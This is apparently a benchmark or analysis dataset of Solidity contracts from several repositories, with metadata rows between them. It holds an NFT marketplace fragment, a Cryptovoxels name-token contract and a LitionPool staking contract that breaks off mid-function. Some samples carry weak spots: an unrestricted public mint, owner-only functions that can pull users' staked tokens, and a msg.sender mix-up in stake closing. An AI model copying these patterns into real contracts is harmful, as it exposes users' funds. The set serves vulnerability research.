_order.orderEndedAt = block.timestamp;
try nft.safeTransferFrom(address(this), _order.orderOwner, _order.nftId) {
//
} catch {
revert ExternalCallError({
message: "External call failed. (2)"
});
}
}
function editSellOrderPrice(uint256 _orderId,
uint256 _newPrice) external {
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Not Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Order Has Been Ended Before!");
_order.totalPrice = _newPrice;
}
function createBid(uint256 _bidPrice,
uint256 _orderId,
address _token) external {
require(allTokens[_token] == true, "Invalid token address");
SellOrder memory _order = order[_orderId];
require(_orderId > 0 && _orderId < totalSellOrderCount && _order.orderOwner != address(0) && _bidPrice != 0, "Invalid Bid Info.");
require(_order.isCanceled == false && _order.isEnded == false, "Invlaid Order Id.");
require(_order.orderOwner != msg.sender , "You Cannot Set A Bid For Your Own NFT!");
IERC20 token = IERC20(_token);
try token.transferFrom(msg.sender, address(this), (_bidPrice * (10**token.decimals()))) {
Bid memory _bid = Bid({
totalPrice: _bidPrice,
nftId: _order.nftId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: _order.nftContract,
seller: address(0),
bidOwner: msg.sender,
token: _token,
isCanceled: false,
isEnded: false
});
bid[totalBidCount] = _bid;
bidderBids[msg.sender].push(totalBidCount);
contractBids[_order.nftContract][_order.orderOwner][_order.nftId].push(totalBidCount);
totalBidCount += 1;
emit BidCreated({
creator: msg.sender,
bidId: totalBidCount - 1,
token: _token
});
} catch {
revert ExternalCallError({
message: "External call failed. (3)"
});
}
}
function cancelERC721Bid(uint _bidId) external {
Bid storage _bid = bid[_bidId];
require(_bid.bidOwner == msg.sender, "not bid owner.");
require(_bid.isCanceled == false && _bid.isEnded == false, "Cannot Cancel Bid!");
_bid.isCanceled = true;
_bid.bidEndedAt = block.timestamp;
IERC20 token = IERC20(_bid.token);
try token.transfer(msg.sender, (_bid.totalPrice * (10**token.decimals()))) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch {
revert ExternalCallError({
message: "External call failed. (4)"
});
}
}
function acceptERC721Bid(uint _bidId,
uint _orderId) external {
Bid storage _bid = bid[_bidId];
require(_bidId > 0 && _bidId < totalBidCount && _bid.bidOwner != address(0), "invalid bid id.");
require(_bid.isCanceled == false && _bid.isEnded == false, "Cannot Accept Bid!");
SellOrder storage _order = order[_orderId];
require(_order.orderOwner == msg.sender, "Invalid Order Owner.");
require(_order.isCanceled == false && _order.isEnded == false, "Cannot Interact With This Order.");
_bid.isEnded = true;
_bid.bidEndedAt = block.timestamp;
_bid.seller = msg.sender;
_order.isEnded = true;
_order.orderEndedAt = block.timestamp;
_order.buyer = _bid.bidOwner;
uint totalFund = _bid.totalPrice;
uint marketFee = totalFund / 50; // 2%
uint sellerFund = totalFund - marketFee;
IERC721 nft = IERC721(_order.nftContract);
IERC20 token = IERC20(_bid.token);
try nft.transferFrom(address(this), _bid.bidOwner, _order.nftId) {
try token.transfer(msg.sender, sellerFund * (10**token.decimals())) returns(bool res) {
require(res == true, "Something Went Wrong.");
try token.transfer(marketFeeTaker, marketFee * (10**token.decimals())) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch {
revert ExternalCallError({
message: "External call failed. (6)"
});
}
} catch {
revert ExternalCallError({
message: "External call failed. (7)"
});
}
} catch {
revert ExternalCallError({
message: "External call failed. (8)"
});
}
}
function addContractAddress(address _contract) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
address[] storage addrs = userAddedContracts[msg.sender];
bool isExist;
for (uint i; i < addrs.length; ++i) {
if (_contract == addrs[i]) {
isExist = true;
break;
}
}
require(isExist == false, "Contract Already Exists.");
addrs.push(_contract);
}
function createContract(string memory _name,
string memory _symbol,
string memory _desc,
address _proxyGen) external {
require(userContract[msg.sender] == address(0), unicode"ERC721: Contract Already Created. ");
require(bytes(_name).length > 0 &&
bytes(_symbol).length > 0 &&
bytes(_desc).length > 0,
"invalid strings.");
bytes memory byteCode = IERC721ByteCodeGenerator(erc721Gen).generate(_name, _symbol, _desc, msg.sender, _proxyGen);
address contractAddr;
assembly {
contractAddr := create(callvalue(), add(byteCode, 0x20), mload(byteCode))
}
require(contractAddr != address(0), "Failed While Creating ERC721 Contract.");
userContract[msg.sender] = contractAddr;
allMarketContracts[contractAddr] = true;
emit ContractCreation({
creator: msg.sender,
name: _name,
symbol: _symbol
});
}
function addToken(address _token) external onlyOwner {
require(allTokens[_token] == false, "Token already exists!");
allTokens[_token] = true;
tokens.push(_token);
}
}
| 121,202 | 11,191 |
3bd86c3fb8a55bc4947935e7aac9a1ee7998bdf123ead635ff58675f9c6d63db
| 29,233 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_17.sol
| 4,255 | 15,759 |
pragma solidity ^0.4.21;
//Contains burn and mint functions
// File: node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
contract ERC721Basic {
event Transfer(address indexed _from,
address indexed _to,
uint256 _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner,
address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId) public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data) public;
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner,
uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: node_modules/openzeppelin-solidity/contracts/AddressUtils.sol
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly {
size := extcodesize(addr)
} // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from,
uint256 _tokenId,
bytes _data) public returns (bytes4);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping(uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from,
address _to,
uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId) public canTransfer(_tokenId) {
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data) public canTransfer(_tokenId) {
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender,
uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data) internal returns (bool) {
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from,
_tokenId,
_data);
return (retval == ERC721_RECEIVED);
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner,
uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: contracts/Name.sol
contract Name is ERC721Token {
mapping(string => bool) internal canonicalNames;
mapping(uint256 => string) internal lookupNames;
mapping(string => uint256) internal names;
uint256 internal topToken;
constructor() public ERC721Token("Cryptovoxels Name", "NAME") {
topToken = 0;
}
function _appendUintToString(string inStr,
uint v) internal pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = bytes1(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
function _toLower(string str) internal pure returns (string) {
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
// Uppercase character...
if ((bStr[i] >= 65) && (bStr[i] <= 90)) {
// So we add 32 to make it lowercase
bLower[i] = bytes1(int(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
function _isNameValid(string str) internal pure returns (bool) {
bytes memory b = bytes(str);
if (b.length > 20) return false;
if (b.length < 3) return false;
for (uint i; i < b.length; i++) {
bytes1 char = b[i];
if (!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) && //a-z
!(char == 95) &&
!(char == 45) // _ or -) return false;
}
char = b[0];
// no punctuation at start
if ((char == 95) || (char == 45)) {
return false;
}
char = b[b.length - 1];
// no punctuation at end
if ((char == 95) || (char == 45)) {
return false;
}
return true;
}
function mint(address _to, string _name) public returns (uint256) {
require(_isNameValid(_name));
string memory canonical = _toLower(_name);
require(canonicalNames[canonical] == false);
// It's taken
canonicalNames[canonical] = true;
// Increment totalsupply
topToken = topToken + 1;
// Use this tokenId
uint256 _tokenId = topToken;
// Set capitalized name (cant be changed)
names[_name] = _tokenId;
// Set a lookup
lookupNames[_tokenId] = _name;
super._mint(_to, _tokenId);
return _tokenId;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
return (_appendUintToString("https://www.cryptovoxels.com/n/", _tokenId));
}
function getName(uint256 _tokenId) public view returns (string) {
return lookupNames[_tokenId];
}
}
| 283,027 | 11,192 |
2e6862690e0bf96d54b452a2e1c882ff51edb3d3442244556a265a06e3c5814a
| 21,729 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe2f6b401aed7cc3f98d88ad44fce181971fb32eb.sol
| 5,769 | 21,079 |
pragma solidity >=0.5.12;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LitionPool {
using SafeMath for uint256;
event NewStake(address indexed staker, uint256 totalStaked, uint16 lockupPeriod, bool compound);
event StakeFinishedByUser(address indexed staker, uint256 totalRecovered, uint256 index);
event StakeRemoved(address indexed staker, uint256 totalRecovered, uint256 index);
event RewardsToBeAccreditedDistributed(uint256 total);
event RewardsToBeAccreditedUpdated(address indexed staker, uint256 total, uint256 delta);
event RewardsAccredited(uint256 total);
event RewardsAccreditedToStaker(address indexed staker, uint256 total);
event CompoundChanged(address indexed staker, uint256 index);
event RewardsWithdrawn(address indexed staker, uint256 total);
event StakeDeclaredAsFinished(address indexed staker, uint256 index);
event StakeIncreased(address indexed staker, uint256 index, uint256 total, uint256 delta);
event TransferredToVestingAccount(uint256 total);
address public owner;
IERC20 litionToken;
uint256 public lastRewardedBlock = 0;
bool public paused = false;
struct StakeList {
Stake[] stakes;
uint256 rewards;
uint256 rewardsToBeAccredited;
}
struct Stake {
uint256 createdOn;
uint256 totalStaked;
uint16 lockupPeriod;
bool compound;
bool isFinished;
}
address[] public stakers;
mapping (address => StakeList) public stakeListBySender;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor(IERC20 _litionToken) public {
owner = msg.sender;
litionToken = _litionToken;
}
function _switchPaused() public onlyOwner {
paused = !paused;
}
function _addStakerIfNotExist(address _staker) internal {
for (uint256 i = 0; i < stakers.length; i++) {
if (stakers[i] == _staker) {
return;
}
}
stakers.push(_staker);
}
function _getTotalRewardsToBeAccredited() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < stakers.length; i++) {
total += stakeListBySender[stakers[i]].rewardsToBeAccredited;
}
return total;
}
function _getTotalAmountsForClosers() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] memory stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
if (!stakes[j].isFinished && _isLockupPeriodFinished(stakes[j].createdOn, stakes[j].lockupPeriod)) {
total = total.add(stakes[j].totalStaked);
}
}
}
return total;
}
function createNewStake(uint256 _amount, uint16 _lockupPeriod, bool _compound) public {
require(!paused, "New stakes are paused");
uint8 month = Date.getMonth(now);
uint8 day = Date.getDay(now);
require(_isValidLockupPeriod(_lockupPeriod), "The lockup period is invalid");
require(_amount >= 5000000000000000000000, "You must stake at least 5000 LIT");
require(IERC20(litionToken).transferFrom(msg.sender, address(this), _amount), "Couldn't take the LIT from the sender");
Stake memory stake = Stake({createdOn:now,
totalStaked:_amount,
lockupPeriod:_lockupPeriod,
compound:_compound,
isFinished:false});
stakeListBySender[msg.sender].stakes.push(stake);
_addStakerIfNotExist(msg.sender);
emit NewStake(msg.sender, _amount, _lockupPeriod, _compound);
}
function switchCompound(uint256 _index) public {
require(stakeListBySender[msg.sender].stakes.length > _index, "The stake doesn't exist");
stakeListBySender[msg.sender].stakes[_index].compound = !stakeListBySender[msg.sender].stakes[_index].compound;
emit CompoundChanged(msg.sender, _index);
}
function finishStake(uint256 _index) public {
require(stakeListBySender[msg.sender].stakes.length > _index, "The stake doesn't exist");
Stake memory stake = stakeListBySender[msg.sender].stakes[_index];
require (stake.isFinished, "The stake is not finished yet");
uint256 total = _closeStake(msg.sender, _index);
emit StakeFinishedByUser(msg.sender, total, _index);
}
function withdrawRewards() public {
require(stakeListBySender[msg.sender].rewards > 0, "You don't have rewards to withdraw");
uint256 total = stakeListBySender[msg.sender].rewards;
stakeListBySender[msg.sender].rewards = 0;
require(litionToken.transfer(msg.sender, total));
emit RewardsWithdrawn(msg.sender, total);
}
function _accreditRewards() public {
uint256 totalToAccredit = _getTotalRewardsToBeAccredited();
require(IERC20(litionToken).transferFrom(msg.sender, address(this), totalToAccredit), "Couldn't take the LIT from the sender");
for (uint256 i = 0; i < stakers.length; i++) {
StakeList storage stakeList = stakeListBySender[stakers[i]];
uint256 rewardsToBeAccredited = stakeList.rewardsToBeAccredited;
if (rewardsToBeAccredited > 0) {
stakeList.rewardsToBeAccredited = 0;
stakeList.rewards += rewardsToBeAccredited;
emit RewardsAccreditedToStaker(stakers[i], rewardsToBeAccredited);
}
}
emit RewardsAccredited(totalToAccredit);
}
function areThereFinishers() public view returns(bool) {
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] storage stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
if (!stakes[j].isFinished && _isLockupPeriodFinished(stakes[j].createdOn, stakes[j].lockupPeriod)) {
return true;
}
}
}
return false;
}
function _declareFinishers() public onlyOwner {
uint256 totalForClosers = _getTotalAmountsForClosers();
require(totalForClosers > 0, "There are no finishers");
require(IERC20(litionToken).transferFrom(msg.sender, address(this), totalForClosers), "Couldn't take the LIT from the sender");
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] storage stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
if (!stakes[j].isFinished && _isLockupPeriodFinished(stakes[j].createdOn, stakes[j].lockupPeriod)) {
stakes[j].isFinished = true;
emit StakeDeclaredAsFinished(stakers[i], j);
}
}
}
}
function getTotalInStakeWithFinished() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] memory stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
total = total.add(stakes[j].totalStaked);
}
}
return total;
}
function getTotalInStake() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] memory stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
if (!stakes[j].isFinished) {
total = total.add(stakes[j].totalStaked);
}
}
}
return total;
}
function getTotalStakes() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < stakers.length; i++) {
Stake[] memory stakes = stakeListBySender[stakers[i]].stakes;
for (uint256 j = 0; j < stakes.length; j++) {
if (!stakes[j].isFinished) {
total += 1;
}
}
}
return total;
}
function getTotalStakers() public view returns (uint256) {
return stakers.length;
}
function getLockupFinishTimestamp(address _staker, uint256 _index) public view returns (uint256) {
require(stakeListBySender[_staker].stakes.length > _index, "The stake doesn't exist");
Stake memory stake = stakeListBySender[_staker].stakes[_index];
return stake.createdOn + stake.lockupPeriod * (30 days);
}
function _removeStaker(address _staker, uint256 _index) public onlyOwner {
require(stakeListBySender[_staker].stakes.length > _index, "The stake doesn't exist");
uint256 total = _closeStake(_staker, _index);
emit StakeRemoved(_staker, total, _index);
}
function _closeStake(address _staker, uint256 _index) internal returns (uint256) {
uint256 total = stakeListBySender[_staker].stakes[_index].totalStaked;
_removeStakeByIndex(_staker, _index);
if (stakeListBySender[msg.sender].stakes.length == 0) {
_removeStakerByValue(_staker);
}
require(litionToken.transfer(_staker, total));
return total;
}
function _findStaker(address _value) internal view returns(uint) {
uint i = 0;
while (stakers[i] != _value) {
i++;
}
return i;
}
function _removeStakerByValue(address _value) internal {
uint i = _findStaker(_value);
_removeStakerByIndex(i);
}
function _removeStakerByIndex(uint _i) internal {
while (_i<stakers.length-1) {
stakers[_i] = stakers[_i+1];
_i++;
}
stakers.length--;
}
function _removeStakeByIndex(address _staker, uint _i) internal {
Stake[] storage stakes = stakeListBySender[_staker].stakes;
while (_i<stakes.length-1) {
stakes[_i] = stakes[_i+1];
_i++;
}
stakes.length--;
}
function _extractRemainingLitSentByMistake(address _sendTo) public onlyOwner {
require(stakers.length == 0, "There are still stakers in the contract");
uint256 totalBalance = litionToken.balanceOf(address(this));
require(litionToken.transfer(_sendTo, totalBalance));
}
function _extractCertainLitSentByMistake(uint256 amount, address _sendTo) public onlyOwner {
require(litionToken.transfer(_sendTo, amount));
}
function _isValidLockupPeriod(uint16 n) internal pure returns (bool) {
if (n == 1) {
return true;
}
else if (n == 3) {
return true;
}
else if (n == 6) {
return true;
}
else if (n == 12) {
return true;
}
return false;
}
function _isValidAndNotFinished(address _staker, uint256 _index) internal view returns (bool) {
if (stakeListBySender[_staker].stakes.length <= _index) {
return false;
}
return !stakeListBySender[_staker].stakes[_index].isFinished;
}
function _isLockupPeriodFinished(uint256 _timestamp, uint16 _lockupPeriod) internal view returns (bool) {
return now > _timestamp + _lockupPeriod * (30 days);
}
function _transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner can't be the zero address");
owner = newOwner;
}
function _updateRewardsToBeAccredited(uint256 _lastMiningRewardBlock, uint256 _amount) public onlyOwner {
lastRewardedBlock = _lastMiningRewardBlock;
uint256 fees = _amount.mul(5) / 100;
uint256 totalParts = _calculateParts();
_distributeBetweenStakers(totalParts, _amount.sub(fees));
emit RewardsToBeAccreditedDistributed(_amount);
}
function _distributeBetweenStakers(uint256 _totalParts, uint256 _amountMinusFees) internal {
uint256 totalTransferred = 0;
for (uint256 i = 0; i < stakers.length; i++) {
StakeList storage stakeList = stakeListBySender[stakers[i]];
for (uint256 j = 0; j < stakeList.stakes.length; j++) {
if (!_isValidAndNotFinished(stakers[i], j)) {
continue;
}
Stake storage stake = stakeList.stakes[j];
uint256 amountToTransfer = _getAmountToTransfer(_totalParts, _amountMinusFees, stake.lockupPeriod, stake.totalStaked);
totalTransferred = totalTransferred.add(amountToTransfer);
if (stake.compound) {
stake.totalStaked = stake.totalStaked.add(amountToTransfer);
emit StakeIncreased(stakers[i], j, stake.totalStaked, amountToTransfer);
}
else {
stakeList.rewardsToBeAccredited = stakeList.rewardsToBeAccredited.add(amountToTransfer);
emit RewardsToBeAccreditedUpdated(stakers[i], stakeList.rewardsToBeAccredited, amountToTransfer);
}
}
}
}
function _calculateParts() internal view returns (uint256) {
uint256 divideInParts = 0;
for (uint256 i = 0; i < stakers.length; i++) {
StakeList memory stakeList = stakeListBySender[stakers[i]];
for (uint256 j = 0; j < stakeList.stakes.length; j++) {
if (!_isValidAndNotFinished(stakers[i], j)) {
continue;
}
Stake memory stake = stakeList.stakes[j];
if (stake.lockupPeriod == 1) {
divideInParts = divideInParts.add(stake.totalStaked.mul(12));
}
else if (stake.lockupPeriod == 3) {
divideInParts = divideInParts.add(stake.totalStaked.mul(14));
}
else if (stake.lockupPeriod == 6) {
divideInParts = divideInParts.add(stake.totalStaked.mul(16));
}
else if (stake.lockupPeriod == 12) {
divideInParts = divideInParts.add(stake.totalStaked.mul(18));
}
}
}
return divideInParts;
}
function getStaker(address _staker) external view returns (uint256 rewards, uint256 rewardsToBeAccredited, uint256 totalStakes) {
StakeList memory stakeList = stakeListBySender[_staker];
rewards = stakeList.rewards;
rewardsToBeAccredited = stakeList.rewardsToBeAccredited;
totalStakes = stakeList.stakes.length;
}
function getStake(address _staker, uint256 _index) external view returns (uint256 createdOn, uint256 totalStaked, uint16 lockupPeriod, bool compound, bool isFinished, uint256 lockupFinishes) {
require(stakeListBySender[_staker].stakes.length > _index, "The stake doesn't exist");
Stake memory stake = stakeListBySender[_staker].stakes[_index];
createdOn = stake.createdOn;
totalStaked = stake.totalStaked;
lockupPeriod = stake.lockupPeriod;
compound = stake.compound;
isFinished = stake.isFinished;
lockupFinishes = getLockupFinishTimestamp(_staker, _index);
}
function _getAmountToTransfer(uint256 _totalParts, uint256 _amount, uint16 _lockupPeriod, uint256 _rewards) internal pure returns (uint256) {
uint256 factor;
if (_lockupPeriod == 1) {
factor = 12;
}
else if (_lockupPeriod == 3) {
factor = 14;
}
else if (_lockupPeriod == 6) {
factor = 16;
}
else if (_lockupPeriod == 12) {
factor = 18;
}
return _amount.mul(factor).mul(_rewards).div(_totalParts);
}
function _transferLITToVestingAccount(uint256 total) public onlyOwner {
require(litionToken.transfer(msg.sender, total));
emit TransferredToVestingAccount(total);
}
function() external payable {
revert();
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
